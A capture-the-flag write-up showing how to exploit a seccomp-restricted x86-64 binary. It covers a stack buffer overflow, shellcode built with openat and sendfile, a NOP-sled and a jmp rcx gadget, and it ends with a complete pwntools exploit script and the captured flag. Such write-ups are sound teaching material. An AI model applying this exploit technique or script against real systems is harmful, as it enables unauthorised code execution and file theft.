Overview
This challenge presents with a program that we need to exploit to read the flag file, but there are some protections in place that make our job more difficult…
Solution
Note: For the purposes of this writeup, the binary is called
chal
. Yours may be named differently.
We are given the file chal
, and running file
shows us the following:
┌──(kali㉿kali)-[~/Desktop/binex_SyscallMeMaybe]
└─$ file chal
chal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2d677f8e37a961189b32ed3b1f8be3a31bd48df9, for GNU/Linux 4.4.0, not stripped
The binary isn’t stripped and PIE isn’t enabled, which makes reverse engineering and finding functions/gadgets easier for us.
Running checksec --file ./chal
shows us what proections are enabled on the binary:
┌──(kali㉿kali)-[~/Desktop/binex_SyscallMeMaybe]
└─$ checksec --file=chal
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 43 Symbols No 0 3 chal
Even without many of the standard protections enabled on the binary, running strings
on the challenge file reveals references to “seccomp.” This is an advanced kernel feature that restricts the syscalls that a process is allowed to make.
Disassembly and decompilation
After loading the binary into Ghidra and looking at the symbol tree, it’s pretty easy to find main
:
undefined8 main(void)
{
int iVar1;
undefined8 uVar2;
char *pcVar3;
char local_458 [1024];
undefined local_58 [76];
undefined4 local_c;
iVar1 = prctl(0x26,1,0,0,0);
if (iVar1 == 0) {
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
puts("Coding: Insecure");
puts("Protections: Disabled");
puts("Buffers: Overflowing");
puts("But your one small issue...");
puts("Sec: Comped");
local_c = 0x12345678;
printf("Syscall me maybe?: ");
pcVar3 = fgets(local_458,0x400,stdin);
if (pcVar3 == (char *)0x0) {
perror("fgets failed");
uVar2 = 1;
}
else {
printf("%s",local_458);
setup_seccomp();
memcpy(local_58,local_458,0x400);
uVar2 = 0;
}
}
else {
perror("prctl(PR_SET_NO_NEW_PRIVS)");
uVar2 = 1;
}
return uVar2;
}
The important things to pay attention to are the calls to fgets()
and memcpy()
. fgets()
stores up to 1024 bytes from stdin in local_458
. memcpy()
takes the bytes stored in local_458
and copies them to local_58
, but this variable can only hold 64 bytes, effectively creating a buffer overflow that we can then use to redirect the program’s execution flow.
Seccomp rules!
The next function to look at is setup_seccomp()
, which as the name suggests, loads and activates a list of rules for seccomp. Unfortunately, Ghidra doesn’t automatically define the constants in seccomp.h
, making it difficult to understand what exactly is in the rule list. Luckily, we can use seccomp-tools
to extract and process the rule list:
┌──(kali㉿kali)-[~/Desktop/binex_SyscallMeMaybe]
└─$ seccomp-tools dump ./chal
Coding: Insecure
Protections: Disabled
Buffers: Overflowing
But your one small issue...
Sec: Comped
Syscall me maybe?: a
a
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x34 0xc000003e if (A != ARCH_X86_64) goto 0054
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x31 0xffffffff if (A != 0xffffffff) goto 0054
0005: 0x15 0x30 0x00 0x00000000 if (A == read) goto 0054
0006: 0x15 0x2f 0x00 0x00000001 if (A == write) goto 0054
0007: 0x15 0x2e 0x00 0x00000002 if (A == open) goto 0054
0008: 0x15 0x2d 0x00 0x00000009 if (A == mmap) goto 0054
0009: 0x15 0x2c 0x00 0x00000011 if (A == pread64) goto 0054
0010: 0x15 0x2b 0x00 0x00000013 if (A == readv) goto 0054
0011: 0x15 0x2a 0x00 0x00000014 if (A == writev) goto 0054
0012: 0x15 0x29 0x00 0x00000016 if (A == pipe) goto 0054
0013: 0x15 0x28 0x00 0x00000029 if (A == socket) goto 0054
0014: 0x15 0x27 0x00 0x00000038 if (A == clone) goto 0054
0015: 0x15 0x26 0x00 0x00000039 if (A == fork) goto 0054
0016: 0x15 0x25 0x00 0x0000003a if (A == vfork) goto 0054
0017: 0x15 0x24 0x00 0x0000003b if (A == execve) goto 0054
0018: 0x15 0x23 0x00 0x00000065 if (A == ptrace) goto 0054
0019: 0x15 0x22 0x00 0x00000069 if (A == setuid) goto 0054
0020: 0x15 0x21 0x00 0x0000006a if (A == setgid) goto 0054
0021: 0x15 0x20 0x00 0x0000006d if (A == setpgid) goto 0054
0022: 0x15 0x1f 0x00 0x00000070 if (A == setsid) goto 0054
0023: 0x15 0x1e 0x00 0x00000071 if (A == setreuid) goto 0054
0024: 0x15 0x1d 0x00 0x00000072 if (A == setregid) goto 0054
0025: 0x15 0x1c 0x00 0x00000075 if (A == setresuid) goto 0054
0026: 0x15 0x1b 0x00 0x00000077 if (A == setresgid) goto 0054
0027: 0x15 0x1a 0x00 0x0000007a if (A == setfsuid) goto 0054
0028: 0x15 0x19 0x00 0x0000007b if (A == setfsgid) goto 0054
0029: 0x15 0x18 0x00 0x0000007e if (A == capset) goto 0054
0030: 0x15 0x17 0x00 0x0000008e if (A == sched_setparam) goto 0054
0031: 0x15 0x16 0x00 0x00000090 if (A == sched_setscheduler) goto 0054
0032: 0x15 0x15 0x00 0x0000009b if (A == pivot_root) goto 0054
0033: 0x15 0x14 0x00 0x0000009d if (A == prctl) goto 0054
0034: 0x15 0x13 0x00 0x000000a1 if (A == chroot) goto 0054
0035: 0x15 0x12 0x00 0x000000bb if (A == readahead) goto 0054
0036: 0x15 0x11 0x00 0x000000cb if (A == sched_setaffinity) goto 0054
0037: 0x15 0x10 0x00 0x000000da if (A == set_tid_address) goto 0054
0038: 0x15 0x0f 0x00 0x00000110 if (A == unshare) goto 0054
0039: 0x15 0x0e 0x00 0x00000113 if (A == splice) goto 0054
0040: 0x15 0x0d 0x00 0x00000116 if (A == vmsplice) goto 0054
0041: 0x15 0x0c 0x00 0x00000125 if (A == pipe2) goto 0054
0042: 0x15 0x0b 0x00 0x00000134 if (A == setns) goto 0054
0043: 0x15 0x0a 0x00 0x00000136 if (A == process_vm_readv) goto 0054
0044: 0x15 0x09 0x00 0x00000137 if (A == process_vm_writev) goto 0054
0045: 0x15 0x08 0x00 0x0000013a if (A == sched_setattr) goto 0054
0046: 0x15 0x07 0x00 0x0000013d if (A == seccomp) goto 0054
0047: 0x15 0x06 0x00 0x00000142 if (A == execveat) goto 0054
0048: 0x15 0x05 0x00 0x00000146 if (A == copy_file_range) goto 0054
0049: 0x15 0x04 0x00 0x000001a9 if (A == 0x1a9) goto 0054
0050: 0x15 0x03 0x00 0x000001aa if (A == 0x1aa) goto 0054
0051: 0x15 0x02 0x00 0x000001ab if (A == 0x1ab) goto 0054
0052: 0x15 0x01 0x00 0x000001b3 if (A == 0x1b3) goto 0054
0053: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0054: 0x06 0x00 0x00 0x00000000 return KILL
We can see that any calls to open()
and read()
(along with other functions) redirect to rule 0054, terminating the program and effectively blocking those system calls from being made. If we don’t have access to these functions, how do we read the flag file?
Exploitation
In that moment, the seccomp filter thought it had effectively blocked us from reading the flag. But it forgot two key things:
openat()
opens a file and returns a file descriptor pointing to it.sendfile()
copies data between file descriptors – for example, the one returned byopenat()
and the one pointing to stdout.
We can use these functions to read and output the contents of the flag file, but how will we make the program call them?
Shellcode
We know from the output of checksec
that many protections are disabled on the challenge binary, including the NX (no execute) bit. When the NX bit is enabled, stored input and data (amongst other sections) can’t be executed as code. While there are ways to circumvent this, the NX bit is disabled on the challenge binary, so can supply our own code as input and exploit the buffer overflow to redirect program execution to it.
We can supply our own code in the form of shellcode, which is essentially a small piece of machine code. Our shellcode will open the flag file at /tmp/flag
using openat()
and copy its contents to stdout using sendfile()
, which will then return the flag to us.
Many tools exist to assist in building shellcode, but for the purposes of this writeup, we can use the shellcraft
module from the pwntools
library. We’ll make sure to use the amd64
architecture, as that is what the binary is compiled for:
from pwn import *
context.update(log_level = 'debug', binary = './chal')
shellcode = shellcraft.amd64.linux.openat(constants.AT_FDCWD, '/tmp/flag.txt', constants.O_RDONLY)
shellcode += shellcraft.amd64.linux.sendfile(constants.STDOUT_FILENO, 'rax', 0, 0x64)
If we printed out the shellcode
variable, we would see something like this:
; openat(fd=AT_FDCWD (-0x64), file='/tmp/flag.txt', oflag=O_RDONLY (0))
; push b'/tmp/flag.txt\x00'
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x7478742e67
xor [rsp], rax
mov rax, 0x616c662f706d742f
push rax
mov rsi, rsp
push AT_FDCWD ; -0x64
pop rdi
xor edx, edx ; O_RDONLY
; call openat()
xor eax, eax
mov ax, SYS_openat ; 0x101
syscall
; sendfile(out_fd=STDOUT_FILENO (1), in_fd='rax', offset=0, count=0x64)
push 0x64
pop r10
push STDOUT_FILENO ; 1
pop rdi
xor edx, edx ; 0
mov rsi, rax
; call sendfile()
push SYS_sendfile ; 0x28
pop rax
syscall
We can then go ahead and assemble our shellcode:
shellcode = asm(shellcode)
Now that we have our shellcode, we’re good, right? Not quite. Remember the buffer overflow from earlier? That allows us overwrite the instruction pointer (RIP), which contains the memory address of the next instruction to execute. If we want to get our shellcode to run, we need to tell the program where our shellcode is in memory.
ROP + Debugging
Enter ROP, or “Return-Oriented Programming.” ROP describes a technique that makes use of snippets of assembly, called “gadgets.” These “gadgets” perform specific actions and typically end in ret
. To get a list of gadgets and their locations in memory, we can use ROPgadget:
┌──(kali㉿kali)-[~/Desktop/binex_SyscallMeMaybe]
└─$ ROPgadget --binary ./chal
Gadgets information
============================================================
0x0000000000401077 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004011bf : add bh, bh ; loopne 0x401229 ; nop dword ptr [rax + rax] ; ret
0x000000000040114c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
...
To know what specific gadget we want, we’re going to have to do some debugging. This will allow us to see what the state of the program is before our shellcode would get executed. We also need to know how many bytes we need to write before we’re able to overwrite the instruction pointer. Let’s start there.
If we open up the program using gdb
with the pwndbg extension, we can run cyclic 100
to get a 100-character string to supply as input to the program. Hopefully 100 characters is enough to overwrite the instruction pointer, but we can adjust as needed. We can execute the program using run
and then supply the pattern as input, which causes the program to crash. We see a value displayed next to ret
(aka the value right below the instruction), which looks rather interesting:
► 0x401ae3 <main+350> ret <0x616161616161616c>
By using cyclic -l
and the pattern we just found (0x616161616161616c
), we can find the amount of bytes before the pattern in the original 100-character string, which ends up being 88 bytes. This means that it will take 88 bytes before we start overwriting RIP, so we need 88 bytes of filler and then the address of our gadget.
We can take a deeper dive on how the program works by setting a breakpoint at an address and stepping through each instruction. Because the binary isn’t stripped, we can run disassemble main
to view the assembly code. Let’s put a breakpoint after setup_seccomp()
is executed, which would be address 0x401ac2
:
break *0x401ac2
After starting the program up again via run
and supplying some input, execution will eventually pause at the breakpoint we set. As we step through the next instructions, we can see that the address that points to the beginning of our input gets moved to the register RCX, where it remains until after the program completes execution.
Perhaps we could take our shellcode, pad it to be 88 bytes using no-operation (NOP) instructions (commonly referred to as a “NOP-sled”), then add the address of a gadget that jumps back to the beginning of our input (stored in RCX). This would in turn execute the no-operation instructions (aka do nothing) and then our shellcode.
Conveniently, if we go back to the list of gadgets found in the program, one such gadget at 0x40197c
performs the instruction jmp rcx
, which is exactly what we need.
Putting it all together
Now we have all the parts to complete our exploit:
- Assemble shellcode to open and read out the contents of the flag file using
openat()
andsendfile()
- Pad the shellcode using NOP instructions until it’s 88 bytes long
- Add the address of th
jmp rcx
gadget to our payload - Send our payload to the server
- Profit
Below is a Python script that puts all these steps togther, including an option for running the exploit either locally or remotely:
from pwn import *
context.update(log_level = 'debug', binary = './chal')
flag = ''
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <local|remote> [host] [port]")
exit(0)
elif sys.argv[1] == "local":
p = process("./chal")
flag = "./flag.txt"
gdb.attach(p,
'''
break *main+350
continue
''')
elif sys.argv[1] == "remote":
flag = "/tmp/flag.txt"
p = remote(sys.argv[2], sys.argv[3])
# Create shellcode that:
# 1. Opens /tmp/flag.txt using openat (AT_FDCWD = 0, O_RDONLY = 0)
# 2. Uses sendfile to copy 100 bytes from fd returned by openat (stored in rax) to stdout (fd 1)
shellcode = shellcraft.amd64.linux.openat(constants.AT_FDCWD, flag, constants.O_RDONLY)
shellcode += shellcraft.amd64.linux.sendfile(constants.STDOUT_FILENO, 'rax', 0, 0x64)
shellcode = asm(shellcode)
# ROPgadget --binary ./chal
jmp_rcx = 0x40197c
# print(disasm(shellcode))
# padding the payload so the address of jmp_rcx will overwrite RIP
payload = shellcode.ljust(88, b'\x90') + p64(jmp_rcx)
p.sendlineafter("Syscall me maybe?: ", payload)
print(p.recvall())
After running the script, we get a string with our shellcode in bytes and the flag appended to the end:
MetaCTF{l00k5_l1k3_s0m3_unf0r7unate_5ysc4lls_g0t_4dd3d_7o_7h3_51gnal_ch4t}